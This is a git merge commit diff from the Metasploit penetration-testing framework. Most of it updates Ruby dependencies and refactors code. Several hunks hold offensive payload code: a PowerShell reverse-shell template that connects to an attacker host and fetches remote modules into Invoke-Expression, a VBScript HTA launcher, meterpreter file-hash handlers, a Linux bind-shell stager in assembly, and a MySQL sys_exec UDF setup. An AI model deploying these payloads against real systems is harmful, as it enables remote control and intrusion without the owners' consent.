Merge remote-tracking branch 'upstream/master' into pageant_extension

bug/bundler_fix
Stuart Morgan 2015-05-19 09:20:58 +01:00
commit 2d2032c96b
104 changed files with 3101 additions and 2068 deletions

View File

@ -8,7 +8,7 @@ group :coverage do
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
gem 'simplecov', '0.5.4', :require => false
gem 'simplecov'
end
group :db do
@ -25,12 +25,8 @@ group :development do
end
group :development, :test do
# supplies factories for producing model instance for specs
# Version 4.1.0 or newer is needed to support generate calls without the
# 'FactoryGirl.' in factory definitions syntax.
gem 'factory_girl', '>= 4.1.0'
# automatically include factories from spec/factories
gem 'factory_girl_rails'
gem 'factory_girl_rails', '~> 4.5.0'
# Make rspec output shorter and more useful
gem 'fivemat', '1.2.1'
# running documentation generation tasks and rspec tasks

View File

@ -2,14 +2,14 @@ PATH
remote: .
specs:
metasploit-framework (4.11.0.pre.dev)
actionpack (>= 3.2.21, < 4.0.0)
activesupport (>= 3.2.21, < 4.0.0)
actionpack (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
bcrypt
jsobfu (~> 0.2.0)
json
metasploit-concern (= 0.4.0)
metasploit-model (~> 0.29.0)
metasploit-payloads (= 0.0.3)
metasploit-concern (~> 1.0)
metasploit-model (~> 1.0)
metasploit-payloads (= 0.0.7)
msgpack
nokogiri
packetfu (= 1.1.9)
@ -21,10 +21,10 @@ PATH
sqlite3
tzinfo
metasploit-framework-db (4.11.0.pre.dev)
activerecord (>= 3.2.21, < 4.0.0)
metasploit-credential (= 0.14.5)
activerecord (>= 4.0.9, < 4.1.0)
metasploit-credential (~> 1.0)
metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (= 0.24.0)
metasploit_data_models (~> 1.0)
pg (>= 0.11)
metasploit-framework-pcap (4.11.0.pre.dev)
metasploit-framework (= 4.11.0.pre.dev)
@ -34,148 +34,147 @@ PATH
GEM
remote: https://rubygems.org/
specs:
actionmailer (3.2.21)
actionpack (= 3.2.21)
mail (~> 2.5.4)
actionpack (3.2.21)
activemodel (= 3.2.21)
activesupport (= 3.2.21)
builder (~> 3.0.0)
actionmailer (4.0.13)
actionpack (= 4.0.13)
mail (~> 2.5, >= 2.5.4)
actionpack (4.0.13)
activesupport (= 4.0.13)
builder (~> 3.1.0)
erubis (~> 2.7.0)
journey (~> 1.0.4)
rack (~> 1.4.5)
rack-cache (~> 1.2)
rack-test (~> 0.6.1)
sprockets (~> 2.2.1)
activemodel (3.2.21)
activesupport (= 3.2.21)
builder (~> 3.0.0)
activerecord (3.2.21)
activemodel (= 3.2.21)
activesupport (= 3.2.21)
arel (~> 3.0.2)
tzinfo (~> 0.3.29)
activeresource (3.2.21)
activemodel (= 3.2.21)
activesupport (= 3.2.21)
activesupport (3.2.21)
i18n (~> 0.6, >= 0.6.4)
multi_json (~> 1.0)
arel (3.0.3)
rack (~> 1.5.2)
rack-test (~> 0.6.2)
activemodel (4.0.13)
activesupport (= 4.0.13)
builder (~> 3.1.0)
activerecord (4.0.13)
activemodel (= 4.0.13)
activerecord-deprecated_finders (~> 1.0.2)
activesupport (= 4.0.13)
arel (~> 4.0.0)
activerecord-deprecated_finders (1.0.4)
activesupport (4.0.13)
i18n (~> 0.6, >= 0.6.9)
minitest (~> 4.2)
multi_json (~> 1.3)
thread_safe (~> 0.1)
tzinfo (~> 0.3.37)
arel (4.0.2)
arel-helpers (2.1.0)
activerecord (>= 3.1.0, < 5)
aruba (0.6.1)
aruba (0.6.2)
childprocess (>= 0.3.6)
cucumber (>= 1.1.1)
rspec-expectations (>= 2.7.0)
bcrypt (3.1.10)
builder (3.0.4)
capybara (2.4.1)
builder (3.1.4)
capybara (2.4.4)
mime-types (>= 1.16)
nokogiri (>= 1.3.3)
rack (>= 1.0.0)
rack-test (>= 0.5.4)
xpath (~> 2.0)
childprocess (0.5.3)
childprocess (0.5.5)
ffi (~> 1.0, >= 1.0.11)
coderay (1.1.0)
cucumber (1.2.1)
cucumber (1.3.19)
builder (>= 2.1.2)
diff-lcs (>= 1.1.3)
gherkin (~> 2.11.0)
json (>= 1.4.6)
cucumber-rails (1.4.0)
capybara (>= 1.1.2)
cucumber (>= 1.2.0)
nokogiri (>= 1.5.0)
rails (>= 3.0.0)
gherkin (~> 2.12)
multi_json (>= 1.7.5, < 2.0)
multi_test (>= 0.1.2)
cucumber-rails (1.4.2)
capybara (>= 1.1.2, < 3)
cucumber (>= 1.3.8, < 2)
mime-types (>= 1.16, < 3)
nokogiri (~> 1.5)
rails (>= 3, < 5)
diff-lcs (1.2.5)
docile (1.1.5)
erubis (2.7.0)
factory_girl (4.4.0)
factory_girl (4.5.0)
activesupport (>= 3.0.0)
factory_girl_rails (4.4.1)
factory_girl (~> 4.4.0)
factory_girl_rails (4.5.0)
factory_girl (~> 4.5.0)
railties (>= 3.0.0)
ffi (1.9.3)
ffi (1.9.8)
fivemat (1.2.1)
gherkin (2.11.6)
json (>= 1.7.6)
gherkin (2.12.2)
multi_json (~> 1.3)
hike (1.2.3)
i18n (0.7.0)
journey (1.0.4)
jsobfu (0.2.1)
rkelly-remix (= 0.0.6)
json (1.8.2)
mail (2.5.4)
mime-types (~> 1.16)
treetop (~> 1.4.8)
metasploit-concern (0.4.0)
activesupport (~> 3.0, >= 3.0.0)
railties (< 4.0.0)
metasploit-credential (0.14.5)
metasploit-concern (= 0.4.0)
metasploit-model (~> 0.29.0)
metasploit_data_models (= 0.24.0)
mail (2.6.3)
mime-types (>= 1.16, < 3)
metasploit-concern (1.0.0)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-credential (1.0.0)
metasploit-concern (~> 1.0)
metasploit-model (~> 1.0)
metasploit_data_models (~> 1.0)
pg
railties (< 4.0.0)
railties
rubyntlm
rubyzip (~> 1.1)
metasploit-model (0.29.2)
activesupport
railties (< 4.0.0)
metasploit-payloads (0.0.3)
metasploit_data_models (0.24.0)
activerecord (>= 3.2.13, < 4.0.0)
activesupport
metasploit-model (1.0.0)
activemodel (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (0.0.7)
metasploit_data_models (1.0.1)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
arel-helpers
metasploit-concern (= 0.4.0)
metasploit-model (~> 0.29.0)
metasploit-concern (~> 1.0)
metasploit-model (~> 1.0)
pg
railties (< 4.0.0)
postgres_ext
railties (>= 4.0.9, < 4.1.0)
recog (~> 1.0)
method_source (0.8.2)
mime-types (1.25.1)
mime-types (2.4.3)
mini_portile (0.6.2)
minitest (4.7.5)
msgpack (0.5.11)
multi_json (1.0.4)
multi_json (1.11.0)
multi_test (0.1.2)
network_interface (0.0.1)
nokogiri (1.6.6.2)
mini_portile (~> 0.6.0)
packetfu (1.1.9)
pcaprub (0.11.3)
pcaprub (0.12.0)
pg (0.18.1)
polyglot (0.3.5)
pry (0.10.0)
pg_array_parser (0.0.9)
postgres_ext (2.4.1)
activerecord (>= 4.0.0)
arel (>= 4.0.1)
pg_array_parser (~> 0.0.9)
pry (0.10.1)
coderay (~> 1.1.0)
method_source (~> 0.8.1)
slop (~> 3.4)
rack (1.4.5)
rack-cache (1.2)
rack (>= 0.4)
rack-ssl (1.3.4)
rack
rack (1.5.2)
rack-test (0.6.3)
rack (>= 1.0)
rails (3.2.21)
actionmailer (= 3.2.21)
actionpack (= 3.2.21)
activerecord (= 3.2.21)
activeresource (= 3.2.21)
activesupport (= 3.2.21)
bundler (~> 1.0)
railties (= 3.2.21)
railties (3.2.21)
actionpack (= 3.2.21)
activesupport (= 3.2.21)
rack-ssl (~> 1.3.2)
rails (4.0.13)
actionmailer (= 4.0.13)
actionpack (= 4.0.13)
activerecord (= 4.0.13)
activesupport (= 4.0.13)
bundler (>= 1.3.0, < 2.0)
railties (= 4.0.13)
sprockets-rails (~> 2.0)
railties (4.0.13)
actionpack (= 4.0.13)
activesupport (= 4.0.13)
rake (>= 0.8.7)
rdoc (~> 3.4)
thor (>= 0.14.6, < 2.0)
thor (>= 0.18.1, < 2.0)
rake (10.4.2)
rb-readline-r7 (0.5.2.0)
rdoc (3.12.2)
json (~> 1.4)
recog (1.0.27)
recog (1.0.29)
nokogiri
redcarpet (3.2.3)
rkelly-remix (0.0.6)
@ -184,12 +183,12 @@ GEM
rspec-core (~> 2.99.0)
rspec-expectations (~> 2.99.0)
rspec-mocks (~> 2.99.0)
rspec-collection_matchers (1.0.0)
rspec-collection_matchers (1.1.2)
rspec-expectations (>= 2.99.0.beta1)
rspec-core (2.99.1)
rspec-core (2.99.2)
rspec-expectations (2.99.2)
diff-lcs (>= 1.1.3, < 2.0)
rspec-mocks (2.99.2)
rspec-mocks (2.99.3)
rspec-rails (2.99.0)
actionpack (>= 3.0)
activemodel (>= 3.0)
@ -201,28 +200,32 @@ GEM
rspec-mocks (~> 2.99.0)
rubyntlm (0.5.0)
rubyzip (1.1.7)
shoulda-matchers (2.6.2)
simplecov (0.5.4)
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
shoulda-matchers (2.8.0)
activesupport (>= 3.0.0)
simplecov (0.9.2)
docile (~> 1.1.0)
multi_json (~> 1.0)
simplecov-html (~> 0.9.0)
simplecov-html (0.9.0)
slop (3.6.0)
sprockets (2.2.3)
sprockets (2.12.3)
hike (~> 1.2)
multi_json (~> 1.0)
rack (~> 1.0)
tilt (~> 1.1, != 1.3.0)
sprockets-rails (2.2.4)
actionpack (>= 3.0)
activesupport (>= 3.0)
sprockets (>= 2.8, < 4.0)
sqlite3 (1.3.10)
thor (0.19.1)
thread_safe (0.3.5)
tilt (1.4.1)
timecop (0.7.1)
treetop (1.4.15)
polyglot
polyglot (>= 0.3.1)
timecop (0.7.3)
tzinfo (0.3.43)
xpath (2.0.0)
nokogiri (~> 1.3)
yard (0.8.7.4)
yard (0.8.7.6)
PLATFORMS
ruby
@ -230,8 +233,7 @@ PLATFORMS
DEPENDENCIES
aruba
cucumber-rails
factory_girl (>= 4.1.0)
factory_girl_rails
factory_girl_rails (~> 4.5.0)
fivemat (= 1.2.1)
metasploit-framework!
metasploit-framework-db!
@ -242,6 +244,6 @@ DEPENDENCIES
rspec (>= 2.12, < 3.0.0)
rspec-rails (>= 2.12, < 3.0.0)
shoulda-matchers
simplecov (= 0.5.4)
simplecov
timecop
yard

View File

@ -20,6 +20,7 @@ Bundler.require(
#
# For compatibility with jquery-rails (and other engines that need action_view) in pro
require 'action_controller/railtie'
require 'action_view/railtie'
#
@ -36,6 +37,15 @@ module Metasploit
config.paths['log'] = "#{Msf::Config.log_directory}/#{Rails.env}.log"
config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)]
case Rails.env
when "development"
config.eager_load = false
when "test"
config.eager_load = false
when "production"
config.eager_load = true
end
end
end
end

View File

@ -10,8 +10,9 @@ function Get-Webclient
function powerfun
{
Param(
[String]$Command,
[String]$Download
[String]$Command,
[String]$Sslcon,
[String]$Download
)
Process {
$modules = @(MODULES_REPLACE)
@ -25,19 +26,33 @@ function powerfun
{
$client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE)
}
$stream = $client.GetStream()
if ($Sslcon -eq "true")
{
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient("LHOST_REPLACE")
$stream = $sslStream
}
[byte[]]$bytes = 0..255|%{0}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
if ($Download -eq "true")
{
$sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
ForEach ($module in $modules)
{
(Get-Webclient).DownloadString($module)|Invoke-Expression
}
}
}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding

View File

@ -19,6 +19,7 @@ define("TLV_TYPE_FILE_NAME", TLV_META_TYPE_STRING | 1201);
define("TLV_TYPE_FILE_PATH", TLV_META_TYPE_STRING | 1202);
define("TLV_TYPE_FILE_MODE", TLV_META_TYPE_STRING | 1203);
define("TLV_TYPE_FILE_SIZE", TLV_META_TYPE_UINT | 1204);
define("TLV_TYPE_FILE_HASH", TLV_META_TYPE_RAW | 1206);
define("TLV_TYPE_STAT_BUF", TLV_META_TYPE_COMPLEX | 1220);
@ -533,8 +534,7 @@ function stdapi_fs_md5($req, &$pkt) {
$md5 = md5(file_get_contents($path));
}
$md5 = pack("H*", $md5);
# Ghetto abuse of file name type to indicate the md5 result
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $md5));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_HASH, $md5));
return ERROR_SUCCESS;
}
}
@ -552,8 +552,7 @@ function stdapi_fs_sha1($req, &$pkt) {
$sha1 = sha1(file_get_contents($path));
}
$sha1 = pack("H*", $sha1);
# Ghetto abuse of file name type to indicate the sha1 result
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $sha1));
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_HASH, $sha1));
return ERROR_SUCCESS;
}
}

View File

@ -307,6 +307,7 @@ TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201
TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220
@ -1011,7 +1012,7 @@ def stdapi_fs_md5(request, response):
m = md5.new()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
return ERROR_SUCCESS, response
@meterpreter.register_function
@ -1061,7 +1062,7 @@ def stdapi_fs_sha1(request, response):
m = sha.new()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
return ERROR_SUCCESS, response
@meterpreter.register_function

View File

@ -0,0 +1,7 @@
<script language="VBScript">
Set %{var_shell} = CreateObject("Wscript.Shell")
Set %{var_fso} = CreateObject("Scripting.FileSystemObject")
If %{var_fso}.FileExists(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%") + "..\powershell.exe") Then
%{var_shell}.Run "%{powershell}"
End If
</script>

File diff suppressed because it is too large Load Diff

View File

@ -17,6 +17,10 @@ module Metasploit
self.uri = "/j_acegi_security_check" if self.uri.nil?
self.method = "POST" if self.method.nil?
if self.uri[0] != '/'
self.uri = "/#{self.uri}"
end
super
end
@ -37,15 +41,15 @@ module Metasploit
configure_http_client(cli)
cli.connect
req = cli.request_cgi({
'method'=>'POST',
'uri'=>'/j_acegi_security_check',
'method'=> method,
'uri'=> uri,
'vars_post'=> {
'j_username' => credential.public,
'j_password'=>credential.private
'j_password'=> credential.private
}
})
res = cli.send_recv(req)
if res && !res.headers['location'].include?('loginError')
if res && res.headers['location'] && !res.headers['location'].include?('loginError')
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers)
else
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res)

View File

@ -6,7 +6,7 @@ module Metasploit
# The Metasploit ecosystem is not ready for Rails 4 as it uses features of
# Rails 3.X that are removed in Rails 4.
RAILS_VERSION = [ '>= 3.2.21', '< 4.0.0' ]
RAILS_VERSION = [ '>= 4.0.9', '< 4.1.0' ]
end
end
end

View File

@ -307,6 +307,8 @@ class Meterpreter < Rex::Post::Meterpreter::Client
begin
self.machine_id = self.core.machine_id(timeout)
self.payload_uuid ||= self.core.uuid(timeout)
return true
rescue ::Rex::Post::Meterpreter::RequestError
# This meterpreter doesn't support core_machine_id
@ -326,8 +328,8 @@ class Meterpreter < Rex::Post::Meterpreter::Client
begin
::Timeout.timeout(60) do
# Gather username/system information
username = self.sys.config.getuid
sysinfo = self.sys.config.sysinfo
username = self.sys.config.getuid
sysinfo = self.sys.config.sysinfo
safe_info = "#{username} @ #{sysinfo['Computer']}"
safe_info.force_encoding("ASCII-8BIT") if safe_info.respond_to?(:force_encoding)

View File

@ -18,7 +18,6 @@ module MeterpreterOptions
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]),
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]),
OptBool.new('StagerCloseListenSocket', [false, "Close the listen socket in the stager", false]),
OptInt.new('SessionRetryTotal', [false, "Number of seconds try reconnecting for on network failure", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_TOTAL]),
OptInt.new('SessionRetryWait', [false, "Number of seconds to wait between reconnect attempts", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_WAIT]),
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', Rex::Post::Meterpreter::ClientCore::TIMEOUT_SESSION]),

View File

@ -169,7 +169,7 @@ module Auxiliary::Report
# @option opts [String] :user The username for the cred
# @option opts [String] :pass The private part of the credential (e.g. password)
def report_auth_info(opts={})
print_error "*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!"
print_warning("*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!")
return if not db
raise ArgumentError.new("Missing required option :host") if opts[:host].nil?
raise ArgumentError.new("Missing required option :port") if (opts[:port].nil? and opts[:service].nil?)

View File

@ -157,8 +157,6 @@ module Msf::DBManager::Host
if not addr.kind_of? ::Mdm::Host
addr = normalize_host(addr)
addr, scope = addr.split('%', 2)
opts[:scope] = scope if scope
unless ipv46_validator(addr)
raise ::ArgumentError, "Invalid IP address in report_host(): #{addr}"

View File

@ -4,12 +4,23 @@ module Msf::DBManager::IPAddress
end
def ipv4_validator(addr)
return false unless addr.kind_of? String
Rex::Socket.is_ipv4?(addr)
if addr.try(:ipv4?)
true
elsif addr.kind_of? String
Rex::Socket.is_ipv4?(addr)
else
false
end
end
def ipv6_validator(addr)
Rex::Socket.is_ipv6?(addr)
if addr.try(:ipv6?)
true
elsif addr.kind_of? String
Rex::Socket.is_ipv6?(addr)
else
false
end
end
def rfc3330_reserved(ip)

View File

@ -95,7 +95,6 @@ module Msf::DBManager::Session
if session.exploit.user_data_is_match?
MetasploitDataModels::AutomaticExploitation::MatchResult.create!(
match: session.exploit.user_data[:match],
match_set: session.exploit.user_data[:match_set],
run: session.exploit.user_data[:run],
state: 'succeeded',
)

View File

@ -162,8 +162,9 @@ module Exploit::Remote::MYSQL
end
def mysql_drop_and_create_sys_exec(soname)
res = mysql_query("DROP FUNCTION IF EXISTS sys_exec") # Already checked, actually
return false if res.nil?
# Just drop it. MySQL will always say "OK" anyway.
# See #5244
mysql_query("DROP FUNCTION IF EXISTS sys_exec")
res = mysql_query("CREATE FUNCTION sys_exec RETURNS int SONAME '#{soname}'")
return false if res.nil?

View File

@ -90,7 +90,7 @@ module ReverseHopHttp
ReverseHopHttp.hop_handlers[full_uri] = self
self.monitor_thread = Rex::ThreadFactory.spawn('ReverseHopHTTP', false, uri,
self) do |uri, hop_http|
hop_http.send_new_stage # send stage to hop
hop_http.send_new_stage(uri) # send stage to hop
delay = 1 # poll delay
# Continue to loop as long as at least one handler or one session is depending on us
until hop_http.refs < 1 && hop_http.handlers.empty?
@ -138,7 +138,7 @@ module ReverseHopHttp
:ssl => false,
})
# send new stage to hop so next inbound session will get a unique ID.
hop_http.send_new_stage
hop_http.send_new_stage(uri)
else
hop_http.lock.unlock
end
@ -241,34 +241,27 @@ module ReverseHopHttp
#
# Generates and sends a stage up to the hop point to be ready for the next client
#
def send_new_stage
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
def send_new_stage(uri)
# try to get the UUID out of the existing URI
info = process_uri_resource(uri)
uuid = info[:uuid] || Msf::Payload::UUID.new
# generate a new connect
sum = uri_checksum_lookup(:connect)
conn_id = generate_uri_uuid(sum, uuid)
url = full_uri + conn_id + "/\x00"
print_status("Preparing stage for next session #{conn_id}")
blob = stage_payload
#
# Patch options into the payload
#
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
:ssl => ssl?,
:url => url,
:expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'],
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass'])
blob = encode_stage(blob)
blob = stage_payload(
uuid: uuid,
uri: conn_id
)
#send up
crequest = mclient.request_raw(
'method' => 'POST',
'uri' => control,
'data' => blob,
'data' => encode_stage(blob),
'headers' => {'X-init' => 'true'}
)
res = mclient.send_recv(crequest)

View File

@ -1,7 +1,6 @@
# -*- coding: binary -*-
require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
require 'rex/payloads/meterpreter/patch'
require 'rex/payloads/meterpreter/uri_checksum'
require 'rex/post/meterpreter/packet'
require 'rex/parser/x509_certificate'
@ -324,27 +323,12 @@ protected
resp['Content-Type'] = 'application/octet-stream'
blob = obj.stage_payload
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
#
# Patch options into the payload
#
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
:ssl => ssl?,
:url => url,
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ua => datastore['MeterpreterUserAgent'],
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass'])
# generate the stage, but pass in the existing UUID and connection id so that
# we don't get new ones generated.
blob = obj.stage_payload(
uuid: uuid,
uri: conn_id
)
resp.body = encode_stage(blob)

View File

@ -1,75 +0,0 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/parser/x509_certificate'
require 'msf/core/payload/uuid_options'
module Msf
##
#
# Helper functionality for handling of stageless http(s) payloads
#
##
module Handler::ReverseHttp::Stageless
include Msf::Payload::Windows::VerifySsl
include Msf::Payload::UUIDOptions
def initialize_stageless
register_options([
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
], self.class)
end
def generate_stageless(opts={})
unless opts[:generator]
raise ArgumentError, "Stageless generation requires a generator argument"
end
if opts[:ssl].nil?
raise ArgumentError, "Stageless generation requires an ssl argument"
end
host = datastore['LHOST']
host = "[#{host}]" if Rex::Socket.is_ipv6?(host)
url = "http#{opts[:ssl] ? "s" : ""}://#{host}:#{datastore['LPORT']}"
# Use the init_connect mode because we're stageless. This will force
# MSF to generate a new URI when the first request is made.
url << "#{generate_uri_uuid_mode(:init_connect)}/"
# invoke the given function to generate the architecture specific payload
opts[:generator].call(url) do |dll|
verify_cert_hash = nil
if opts[:ssl]
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
end
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
:url => url,
:ssl => opts[:ssl],
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ua => datastore['MeterpreterUserAgent'],
:proxy_host => datastore['PayloadProxyHost'],
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass'])
end
end
end
end

View File

@ -57,6 +57,8 @@ class Msf::ModuleSet < Hash
# Notify any general subscribers of the creation event
if instance
self.framework.events.on_module_created(instance)
else
self.delete(reference_name)
end
return instance
@ -112,9 +114,7 @@ class Msf::ModuleSet < Hash
def each_module_ranked(opts = {}, &block)
demand_load_modules
self.mod_ranked = rank_modules
each_module_list(mod_ranked, opts, &block)
each_module_list(rank_modules, opts, &block)
end
# Forces all modules in this set to be loaded.
@ -138,7 +138,6 @@ class Msf::ModuleSet < Hash
self.architectures_by_module = {}
self.platforms_by_module = {}
self.mod_sorted = nil
self.mod_ranked = nil
self.mod_extensions = []
#
@ -292,11 +291,6 @@ class Msf::ModuleSet < Hash
#
# @return [Hash{Class => Array<String>}] Maps module class to Array of platform Strings.
attr_accessor :platforms_by_module
# @!attribute [rw] mod_ranked
# Array of module names and module classes ordered by their Rank with the higher Ranks first.
#
# @return (see #rank_modules)
attr_accessor :mod_ranked
# @!attribute [rw] mod_sorted
# Array of module names and module classes ordered by their names.
#
@ -315,14 +309,7 @@ class Msf::ModuleSet < Hash
# @return [Array<Array<String, Class>>] Array of arrays where the inner array is a pair of the module reference name
# and the module class.
def rank_modules
self.mod_ranked = self.sort { |a_pair, b_pair|
a_rank = module_rank(*a_pair)
b_rank = module_rank(*b_pair)
# Compare their relevant rankings. Since we want highest to lowest,
# we compare b_rank to a_rank in terms of higher/lower precedence
b_rank <=> a_rank
}
self.sort_by { |pair| module_rank(*pair) }.reverse!
end
# Retrieves the rank from a loaded, not-yet-loaded, or unloadable Metasploit Module.

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
module Msf
@ -14,31 +15,24 @@ module Msf
module Payload::Linux::BindTcp
include Msf::Payload::TransportConfig
include Msf::Payload::Linux
def close_listen_socket
datastore['StagerCloseListenSocket'].nil? || datastore['StagerCloseListenSocket'] == true
end
#
# Generate the first stage
#
def generate
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
return generate_bind_tcp(
port: datastore['LPORT'],
close_socket: close_listen_socket
)
end
conf = {
port: datastore['LPORT'],
close_socket: close_listen_socket,
reliable: true
port: datastore['LPORT'],
reliable: false
}
# Generate the more advanced stager if we have the space
unless self.available_space.nil? || required_space > self.available_space
conf[:exitfunk] = datastore['EXITFUNC'],
conf[:reliable] = true
end
generate_bind_tcp(conf)
end
@ -50,19 +44,20 @@ module Payload::Linux::BindTcp
Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string
end
def transport_config(opts={})
transport_config_bind_tcp(opts)
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = 104
space = cached_size
# Reliability checks add 4 bytes for the first check, 5 per recv check (2)
space += 14
# Adding 6 bytes to the payload when we include the closing of the listen
# socket
space += 6 if close_listen_socket
# TODO: coming soon
#space += 14
# The final estimated size
space
@ -77,7 +72,6 @@ module Payload::Linux::BindTcp
def asm_bind_tcp(opts={})
#reliable = opts[:reliable]
close_socket = opts[:close_socket]
encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
asm = %Q^
@ -99,10 +93,7 @@ module Payload::Linux::BindTcp
mov ecx,esp
mov al,0x66 ; socketcall syscall
int 0x80 ; invoke socketcall (SYS_SOCKET)
^
unless close_socket
asm << %Q^
; set the SO_REUSEADDR flag on the socket
push ecx
push 4
@ -119,11 +110,8 @@ module Payload::Linux::BindTcp
int 0x80
xchg eax,edi ; restore the socket handle
add esp, 0x14
pop ecx
^
end
pop ecx ; restore ecx
asm << %Q^
pop ebx
pop esi
push edx
@ -138,15 +126,8 @@ module Payload::Linux::BindTcp
shl ebx,1 ; SYS_LISTEN
mov al,0x66 ; socketcall syscall (SYS_LISTEN)
int 0x80 ; invoke socketcall
^
if close_socket
asm << %Q^
push eax ; stash the listen socket
^
end
asm << %Q^
inc ebx ; SYS_ACCEPT
mov al,0x66 ; socketcall syscall
mov [ecx+0x4],edx
@ -156,16 +137,9 @@ module Payload::Linux::BindTcp
mov al,0x3 ; read syscall
int 0x80 ; invoke read
xchg ebx,edi ; stash the accept socket in edi
^
if close_socket
asm << %Q^
pop ebx ; restore the listen socket
mov al,0x6 ; close syscall
int 0x80 ; invoke close
^
end
asm << %Q^
jmp ecx ; jump to the payload
^

View File

